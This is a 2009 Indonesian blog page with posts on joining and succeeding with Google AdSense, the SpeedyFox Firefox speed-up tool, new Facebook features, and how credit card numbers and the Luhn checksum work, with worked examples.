Google Adsense adalah program periklanan Google. Penjelasan singkatnya, jika kita memasang kode iklan Google, iklan tersebut akan muncul setiap pengunjung mengunjungi website / blog kita. Jika pengunjung melakukan klik pada salah satu iklan yang ada, kita bisa mendapatkan fee dari Google, mulai dari sekian sen dollar hingga beberapa dollar per klik. Iklan bisa muncul dalam bentuk teks, gambar, gabungan teks dan gambar, video maupun penggunaan software tertentu (browser Firefox misalnya).

Apakah semudah demikian ? Ya dan tidak. Google Adsense adalah seni menarik perhatian pengunjung. Kemudahan dan nilai lebih Google Adsense terletak pada relevansi iklan yang muncul. Tanpa harus menipu pengunjung, iklan tersebut muncul secara relevan sesuai dengan isi dan tema posting website / blog. Pengunjung yang tertarik dengan iklan tersebut bisa saja melakukan klik pada iklan tanpa merasakan hal yang aneh, karena iklan yang muncul masih terkait dengan materi yang dibaca.

Kesulitannya, ada banyak faktor yang mendukung kesuksesan hal ini. Mulai dari penempatan iklan, isi posting hingga ketertarikan pengunjung terhadap iklan yang muncul.

Google Adsense adalah salah satu cara mendapatkan uang dari internet yang sifatnya real dan bisa dibuktikan. Berbeda dengan model uang internet lainnya, tidak ada cara by pass untuk bisa sukses dengan Google Adsense. Berikut adalah beberapa saran saya kepada para blogger yang tertarik pada Google Adsense :

1. Jangan berpikir muluk
Banyak orang yang bergabung dengan Google Adsense-biasa disebut Publisher Adsense-dan berpikir bisa mendapat gaji bulanan dalam jumlah besar. Hal ini membuat mereka cenderung mengambil jalan pintas dengan melakukan berbagai hal yang melanggar TOS (Term of Service) Google Adsense.

Nilai uang yang didapat dari iklan yang diklik besarnya bervariasi. Bisa saja hanya satu hingga sepuluh sen US$ Dollar. Bisa juga satu hingga beberapa dollar per klik. Dalam satu hari, bisa saja tidak ada yang melakukan klik pada iklan (apalagi jika pengunjung hanya sedikit). Bagi orang yang ingin hasil besar tanpa kerja keras, tentu saja hal ini cukup menjengkelkan.

Jangan berpikir muluk soal Adsense. Memang ada banyak publisher Adsense yang sukses, tapi banyak juga yang gagal. Berpikirlah secara sederhana. Jika ingin bergabung dengan Google Adsense, niatkan untuk menjadikannya sebagai sebuah tantangan. Jangan berpikir soal uang terlebih dahulu. Tantangan Google Adsense adalah, bagaimana kita mengemas iklan, menempatkannya pada posisi dan lay-out yang sesuai serta menarik pengunjung dalam jumlah yang besar. Jadikan Google Adsense sebagai media untuk terus mengisi artikel bagus pada blog dan sebagai media melatih kedisiplinan dalam menulis. Semakin banyak artikel, semakin banyak peluang peningkatan pengunjung blog. Semakin banyak pengunjung blog, semakin besar peluang iklan di klik.

Jika mendapat hasil dari Google Adsense, anggaplah itu sebagai pengganti biaya surfing, hosting, domain dan sebagai bayaran atas artikel yang dibuat. Cek Google Adsense dikirim dalam kelipatan 100 US$, jadi, setelah dikurangi biaya transfer maupun pencairan cek, nilainya masih cukup untuk sekedar membayar biaya domain dan hosting selama 1 tahun. Menarik bukan ?

2. Sukses Membutuhkan Waktu
Mencapai nilai 100 US$ selama mengikuti program Google Adsense bisa membutuhkan waktu singkat namun lebih sering membutuhkan waktu berbulan-bulan. Jika selama 1 bulan anda hanya mendapat rata-rata 5 US$ (banyak yang kurang dari itu, variatif tergantung blog), anda membutuhkan waktu 20 bulan untuk bisa mencapai 100 US$.

Jangan ambil jalan pintas dengan melakukan klik pada iklan sendiri atau menyuruh teman, saudara, rekan kerja maupun orang lain untuk secara sengaja melakukan klik pada iklan. Google memiliki kemampuan mendeteksi kecurangan ini dan akan membanned anda. Ingat motto Google, "Don't be Evil". Jika dibanned, nilai uang yang sudah anda peroleh akan dihanguskan dan blog atau website anda tidak bisa didaftarkan ulang.

Sabarlah pada hasil yang didapatkan. Hasil yang didapat mencerminkan nilai blog anda. Jika masih minim sekali, itu artinya kita harus lebih fokus pada upaya meningkatkan kwalitas tulisan dan artikel blog.

3. Kerahkan segala kemampuan
Publisher Google Adsense yang sukses biasanya belajar banyak tentang bagaimana caranya mengisi posting dengan berbagai hal menarik. Bagaimana menempatkan iklan pada posisi yang sesuai. Bagaimana layout website / blog yang bagus. Bagaimana perpaduan warna antara iklan dan isi website yang sinkron dan lain sebagainya. Anda bisa belajar banyak mengenai HTML, css (Cascading Style Sheet), Java Script, Engine Blog, Format website dan berbagai hal menarik lainnya.

Kemudian, belajar bagaimana menyajikan website / blog secara elegan dan menarik minat pengunjung. Isi dengan berbagai hal menarik. Buat target jumlah pengunjung yang ingin dicapai tiap bulan.

Jika anda tertarik mengikuti Google Adsense, anda bisa mengikuti langkah berikut : (semuanya gratis)

1. Membuat Website / Blog
Blog sangat mudah dibuat, jadi ini yang lebih saya sarankan. Blog sebenarnya website juga, hanya saja lebih personal dan lebih simple dibandingkan website umumnya. Saran saya, buatlah blog pada layanan blogspot / blogger misal di https://www.blogger.com/signup.g, Layanan ini milik Google. Bisa saja menggunakan penyedia layanan blog gratis lainnya, Wordpress misalnya. Hanya saja, Wordpress gratis sepertinya tidak mendukung Java Script, yang digunakan untuk kode Adsense.

Blog yang dibuat ini bisa saja sekedar blog untuk mendaftar. Nanti, setelah pendaftaran diterima, kita bisa menggunakan kode Adsense pada blog milik kita lainnya.

Jika anda sudah memiliki blog sendiri atau bahkan blog dengan domain dan hosting sendiri, tidak ada masalah menggunakan blog anda. Syaratnya, mendukung Java Script dan sudah memenuhi syarat nomor 2 berikut :

2. Isi Website / Blog dengan Posting Berbahasa Inggris
Sampai dengan tulisan ini dibuat, Google Adsense belum mendukung bahasa Indonesia. Isilah blog yang anda buat dengan posting berbahasa Inggris minimal 5 posting. Untuk keperluan pendaftaran, gunakan mekanisme copy-paste, tentu saja dengan memperhatikan ketentuan lisensi pada website / blog yang anda copy.

Syarat nomor ini membuat saya merekomendasikan pemilik blog untuk membuat blog baru yang digunakan untuk keperluan pendaftaran. Nanti, setelah pendaftaran diterima, kode adsense-nya bisa digunakan pada blog yang sudah ada. Saya sendiri sempat 5 kali ditolak sewaktu ngeyel mendaftar dengan blog berbahasa Indonesia :-).

3. Daftar pada Layanan Google Adsense
Anda bisa mendaftar layanan Google Adsense dengan melalui https://www.google.com/adsense/g-app-single-1
ikuti petunjuk yang diberikan. Isikan dengan data anda sebenarnya karena data alamat maupun email digunakan untuk keperluan pembayaran.

4. Tunggu Konfirmasi Pendaftaran 2-5 hari
Google akan memberikan konfirmasi mengenai pendaftaran, baik diterima maupun ditolak dalam jangka waktu 2 sampai dengan 5 hari. Jika ditolak, ulangi prosedur pendaftaran dari awal. Google biasanya memberikan penjelasan mengenai alasan penolakan.

Jika diterima, anda akan diberikan alamat untuk mengambil kode adsense untuk dipasang pada website / blog. Cara menempatkan kode adsense tergantung engine blog yang digunakan. Untuk Serendipity yang saya gunakan, tersedia plugin yang siap dipakai. Beberapa engine blog juga sudah memiliki plugin yang memudahkan pemasangan kode adsense. Wordpress misalnya.

5. Lakukan Improvement
Setelah kode adsense digunakan, lakukan improvement pada blog. Pelajari cara mengintegrasikan Google Adsense dengan layout yang anda gunakan. Berbuat kreatif agar pengunjung blog semakin meningkat.

READ MORE - Seluk Beluk dan Cara Daftar Google Adsense

SpeedyFox, Bikin Firefox Lebih Ngebut

Jumat, Oktober 23, 2009 by blie dessy · 0 komentar
Label:



Jakarta - Mozilla Firefox adalah salah satu web browser yang banyak diminati pengguna internet. Sayang salah satu kelemahan sang 'rubah api' ini adalah lambatnya loading time, akibat tingginya konsumsi memori, saat web browser tersebut dibuka.

Seperti dikutip detikINET dari Crystalidea, Senin (7/9/2009) ada sebuah aplikasi gratis bernama SpeedyFox. Aplikasi gratis bagi Windows ini dapat membuat 'sang rubah api' berlari menjadi lebih cepat, cukup dengan sebuah single click saja. Alhasil pengguna akan merasakan kecepatan startup 3x lebih cepat dari biasanya. Di samping itu kecepatan browsing history juga akan bertambah, serta performa dengan cookies terasa lebih cepat dari sebelumnya.

Hal ini dapat terjadi karena pada dasarnya, Firefox menggunakan database SQLITE untuk menyimpan banyak settingan. Dengan pertumbuhan database ini, kinerja browser menjadi lamban. SpeedyFox seolah menata ketidak teraturan database tersebut, tanpa menghilangkan data-data yang ada di dalamnya.

Sebelum menggunakannya, pengguna harus menutup semua aplikasi Firefox terlebih dahulu. Setelah itu baru luncurkan aplikasi tersebut. Jika berminat, pengguna dapat mengunduh pada link berikut.
http://www.crystalidea.com/download/speedyfox_portable.zip

Sumber : http://www.detikinet.com/read/2009/09/07/122709/1198170/317/speedyfox-bikin-firefox-lebih-ngebut

READ MORE - SpeedyFox, Bikin Firefox Lebih Ngebut

Fitur2 Terbaru Facebook

Jumat, Oktober 23, 2009 by blie dessy · 0 komentar
Label:



1. Tag friend di status dan post

Fitur baru ini baru saja LIVE saat 14 september atau jumat lalu..
Fitur yang sama dengan web jejaring social lainnya yaitu twitter memberikan kemudahan kita untuk mentag teman kita di status ada pada post anda...
Cara nya pada saat ingin menuliskan status atau post di wall : ketik "@" dan masukkan nama teman anda...
misal ketik pada box status "apa kabar @alfonso?"
maka status anda akan tampil di wall teman anda yang bernama alfonso..
Namun fitur ini tidak bisa digunakan pada facebook mobile (m.facebook.com). Mungkin karena javascript yang tidak bisa d akses via mobile

Lebih Lengkapnya dapat dilihat Disini
http://blog.facebook.com/blog.php?post=109765592130

2. Facebook Lite

Fitur yang satu ini menambahkan kemudahan pengguna facebook, sebaai alternatif buat para pengguna FB yg kecepatan internetnya terbatas.
cek : http:// lite.facebook.com

untuk keterangan lebih jelas dapat dilihat Disini
http://www.facebook.com/lite

3. Login with username

Facebook memberi kemudahan untuk Login dengan cara baru yaitu memasukkan "username" dan password, Sebelumnya untuk login digunakan email dan password..
Username disini dimaksud oleh facebook yaitu fitur sebelumnya untuk menandakan halaman facebook kita, contoh (www.facebook.com/alfonso). alfonso itu adalah username yang dijadikan input username pada saat login.

bagi yang blum menggunakan username, anda dapat bebas memilih username anda disini
http://www.facebook.com/username/

untuk lebih jelasnya disini
http://blog.facebook.com/blog.php?post=138003612130

4. Facebook Prototypes (Tahap testing)

Aplikasi ini berguna untuk membantu facebook dengan bantuan pengguna dalam mencoba fitur2 facebook yang sedang di testing dan memberikan saran balik ke facebook. aplikasi ini dapat memberikan facebook suggest2 yang terbaik sesuai keinginan pengguna..

Untuk lebih jelasnya disini
http://blog.facebook.com/blog.php?post=133647397130

info tambahan untuk yang ingin melamar kerja di facebook(segala bidang)...coba kunjungi http://www.facebook.com/careers/


Semoga berguna...salam!

READ MORE - Fitur2 Terbaru Facebook

Rahasia Angka2 Yg Ada Pada Credit Card + Rumus Valid / Tidak nya

Jumat, Oktober 23, 2009 by blie dessy · 2 komentar
Label:

Apa anda pernah memikirkan arti dari nomor kartu kredit, dan bagaimana angka-angka tersebut dihasilkan?

Atas dasar ilmu pengetahuan, berikut ini akan saya jabarkan RAHASIA-nya …

Pertama-tama anda harus mengenal bagian-bagian dari deretan angka pada kartu


Dari 16 angka yang anda lihat di kartu kredit Visa atau MasterCard, 6 digit pertamanya merupakan “entissuer idifier“, yaitu kode jenis kartu kredit tersebut.

Jika 6 digit tersebut diawali dengan 4, berarti kartu kredit tersebut berjenis Visa.

Namun, jika 6 digit tersebut diawali dengan 5, berarti kartu kredit tersebut berjenis MasterCard.

Berikutnya, 1 digit terakhir dari 16 digit angka di kartu kredit tersebut berfungsi sebagai “check digit“, yang fungsinya hanya untuk validasi pengecekan nomor kartu kredit tersebut.

Karena 6 digit awal dan 1 digit terakhir tersebut sudah memiliki arti, berarti tinggal tersisa 9 digit di tengah yang berfungsi sebagai “account number“.

Oleh karena terdapat 10 kemungkinan angka (dari angka 0 sampai dengan 9) yang bisa dimasukkan ke tiap digit dari 9 digit “account number” tersebut, maka kombinasi yang dihasilkan dari 9 digit tersebut berjumlah 1 milyar kemungkinan nomor untuk masing-masing jenis kartu kredit (Visa atau MasterCard).

Adapun algoritma yang dipakai untuk menghasilkan deretan 16 angka untuk nomor kartu kredit tersebut dinamakan algoritma “Luhn” atau “Mod 10“.

Dulu pada tahun 1954, Hans Luhn dari IBM adalah orang yang pertama kali mengusulkan penerapan algoritma untuk mengetahui valid atau tidaknya suatu nomor kartu kredit.

Cara kerja algoritma yang sederhana (tapi luar biasa) ini adalah sebagai berikut :

1. Dimulai dari digit pertama, kalikan 2 semua angka yang menempati digit ganjil, sehingga secara keseluruhan akan ada 8 digit yang anda kalikan 2, yakni digit ke 1, 3, 5, 7, 9, 11, 13, dan 15.

2. Jika hasil perkalian 2 tersebut menghasilkan angka yang berjumlah 2 digit (10, 12, 14, 16, atau 18), maka jumlahkan angka masing-masing digit tersebut untuk menghasilkan 1 digit angka baru, sehingga hasil dari langkah pertama dan kedua ini tetap berupa 8 angka.

3. Langkah berikutnya, gantikan semua angka (nomor kartu kredit) yang terletak pada digit posisi ganjil tersebut dengan 8 angka baru tersebut, untuk menghasilkan deretan 16 angka baru.

4. Langkah terakhir, jumlahkan ke-16 angka tersebut. Jika hasil penjumlahannya merupakan kelipatan 10, berarti nomor kartu kredit tersebut valid, dan sebaliknya, jika tidak kelipatan 10, berarti nomor kartu kredit tersebut tidak valid.

Berikut ini saya berikan contoh perhitungan sebenarnya :


Seperti anda lihat di gambar di atas ini, nomor kartu kredit tersebut adalah adalah 4552 7204 1234 5678, karena diawali dengan 4, berarti kartu tersebut berjenis Visa.

Sekarang kita lakukan perhitungannya.

Jika sudah anda hitung dengan teliti, maka akan terlihat bahwa jumlah akhirnya adalah 61, yang BUKAN merupakan bilangan kelipatan 10, sehingga bisa dipastikan bahwa nomor kartu kredit tersebut adalah tidak valid.

Seandainya “check digit” di contoh tersebut bukan 8, melainkan 7, maka secara algoritma, nomor kartu kredit tersebut akan menjadi valid, karena total penjumlahannya akan berubah menjadi 60, suatu bilangan kelipatan 10.

Berikut ini contoh yang lain :

Sekali lagi, lakukan kalkulasi sesuai algoritma Luhn di atas untuk kartu kredit MasterCard dengan nomor 5490 1234 5678 9123 tersebut.

Seperti bisa anda hitung sendiri, total penjumlahannya adalah 65, sehingga nomor kartu kredit tersebut tidak valid, karena 65 BUKAN bilangan kelipatan 10.

Seandainya, “check digit” kartu kredit tersebut bukan 3, melainkan 8, maka hasil penjumlahannya akan menjadi 70, yang merupakan kelipatan 10, sehingga nomor kartu kredit tersebut akan menjadi valid (secara algoritma).

Pengertian valid di atas adalah valid secara perhitungan matematika, bukan berarti nomor kartu kredit tersebut benar-benar pasti nomor kartu kredit yang asli.

Karena untuk pengecekan kartu kredit (pada saat transaksi online, misalnya) dibutuhkan tidak hanya nomor kartu kreditnya saja, tapi juga “expiry date“, serta “card security code” atau disebut juga dengan CVV (Card Verification Value) atau pun CVC (Card Verification Code) yang merupakan 3 digit terakhir di balik kartu kredit tersebut.

P.S. : Untuk kartu kredit American Express, jumlah digitnya bukan 16, tapi cuma 15, dan selalu diawali dengan 34 atau 37 untuk 2 digit pertamanya. Sedangkan untuk “account number“-nya hanya memiliki panjang 8 digit, bukan 9 digit seperti kartu kredit jenis Visa atau MasterCard.

READ MORE - Rahasia Angka2 Yg Ada Pada Credit Card + Rumus Valid / Tidak nya